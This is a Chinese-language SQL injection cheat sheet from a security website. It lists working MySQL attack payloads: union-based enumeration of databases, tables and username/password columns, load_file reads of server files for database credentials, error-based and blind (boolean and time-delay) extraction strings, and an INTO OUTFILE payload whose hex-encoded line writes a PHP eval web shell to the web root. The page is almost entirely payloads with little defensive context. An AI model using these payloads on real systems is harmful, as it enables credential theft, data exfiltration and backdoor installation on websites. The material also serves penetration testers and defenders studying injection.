1. 极安网首页
  2. 网络安全技术

SQL注入速查笔记

SQL注入速查笔记-极安网

SQL 注入分类方式:

提交方式:GET POST COOKIE
参数注入:数字型/字符型/搜索型
数据库类型:ACCESS/Mysql/MSSQL/Oracle
手工注入方法:联合查询、报错注入、盲注(基于布尔型、基于时间延迟)

0x01 Mysql

Mysql划分:权限 root 普通用户 版本 mysql>5.0 mysql<5.0 1.1 root权限 load_file和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径 判断是否具有读写权限 and (select count(*) from mysql.user)>0#
and (select count(file_priv) from mysql.user)>#

A、Load_file() 该函数用来读取源文件的函数,只能读取绝对路径的网页文件

注意:路径符号”\”错误 “\”正确 “/”正确,转换成十六进制,不用“”

id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(’/var/www/index.php’)(物理路径转16进制)
可以用来读取数据库连接文件获取数据连接账号、密码等

?id=1'and 1=2 union select 1,load_file('D:\\wamp\\www\\111.php')%23
id=1'and 1=2 union select 1,load_file(0x443A2F77616D702F7777772F312E706870)%23

B、into outfile函数

条件:1. 绝对路径 2.可以使用单引号

?id=1 union select 1,"",3 into outfile 'E:/study/WWW/evil.php'
?id=1 LIMIT 0,1 INTO OUTFILE 'E:/s
tudy/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --
1.2 MySQL联合查询

1.2.1 适用于mysql低于5.0版本

1.判断是否可以注入
?id=1 and 1=1,页面正常
?id=1 and 1=2,页面空白
2.获得字段数
order by的方法来判断,比如:
?id=1 order by 4 页面显示正常
?id=1 order by 5 页面出错,说明字段数等于4
3.获得显示位
?id=1 and 1=2 union select 1,2,3,4
//比如,页面上出现了几个数字,分别是2,3,4,那么,这几个数字就被我们称作显示位。
4.猜表名
猜表名的方法是,在第三步的完整的地址后加上:Form 表名,比如:
?id=1 and 1=2 union select 1,2,3,4 from users
这样,当users表存在的话,页面就会显示正常,如果我们提交一个不存在的表名,页面就会出错。

5.猜字段
使用:Concat(字段名)替换显示位的位置。
?id=1 and 1=2 union select 1,2,3,concat(username,password) from users
1.2.2 适用于Mysql 5.0以上版本支持查表查列

1.先判断是否可以注入
and+1=1,页面正常
and+1=2,页面空白
2.获得字段数:使用order by
提交:
?id=1 order by 4 正确。
?id=1 order by 5 错误。
那么,判断出字段数为4。
3.获得显示位

提交:?id=1 +and+1=2+union+select+1,2,3,4
显示位为:2,3,4
4.获取信息
?id=1 +and+1=2+union+select+1,2,3,version()

database()
user()
version()
database()
@@basedir 数据库安装路径
@@datadir 数据库路径
5.查表
?id=1 and 1=2 union select 1,2,3,table_name from information_schema.tables where table_schema=0x74657374(数据库名test的Hex) limit 0,1--
得到表:test

6.查字段
?id=1 and 1=2 union select 1,2,3,column_name from
information_schema.columns where table_name=0x74657374 limit 0,1--
得到字段:id,username,password
7.爆字段内容
?id=1+and+1=2+union+select+1,2,3,concat(username,password) from+test
1.3 MySQL报错注入
mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法。

多种报错注入方式:

and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)))
and 1=(updatexml(1,concat(0x3a,(select user())),1))
and GeometryCollection((select*from(select*from(select @@version)f)x))
and polygon((select*from(select name_const(version(),1))x))
and linestring((select * from(select * from(select user())a)b))
and multilinestring((select * from(select * from(select version())a)b));
and multipoint((select * from(select * from(select user())a)b));
and multipolygon((select * from(select * from(select user())a)b));
and exp(~(select * from(select version())a));

1.4 MySQL盲注

基于布尔型注入

id=1 and (select length(user()))=20 # 返回正常页面 长度20位
id=1 and ascii(substring((SELECT username FROM users limit 0,1),1,1))=97
//截取username第一个数据的ascii值
基于时间型注入

1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0))
1 xor if(ascii(substr(user(),1,1)) like 1124,benchmark(1000000, md5('1')),'2')

原创文章,作者: Admin ,转载请注明出处:https://secvery.com/3144.html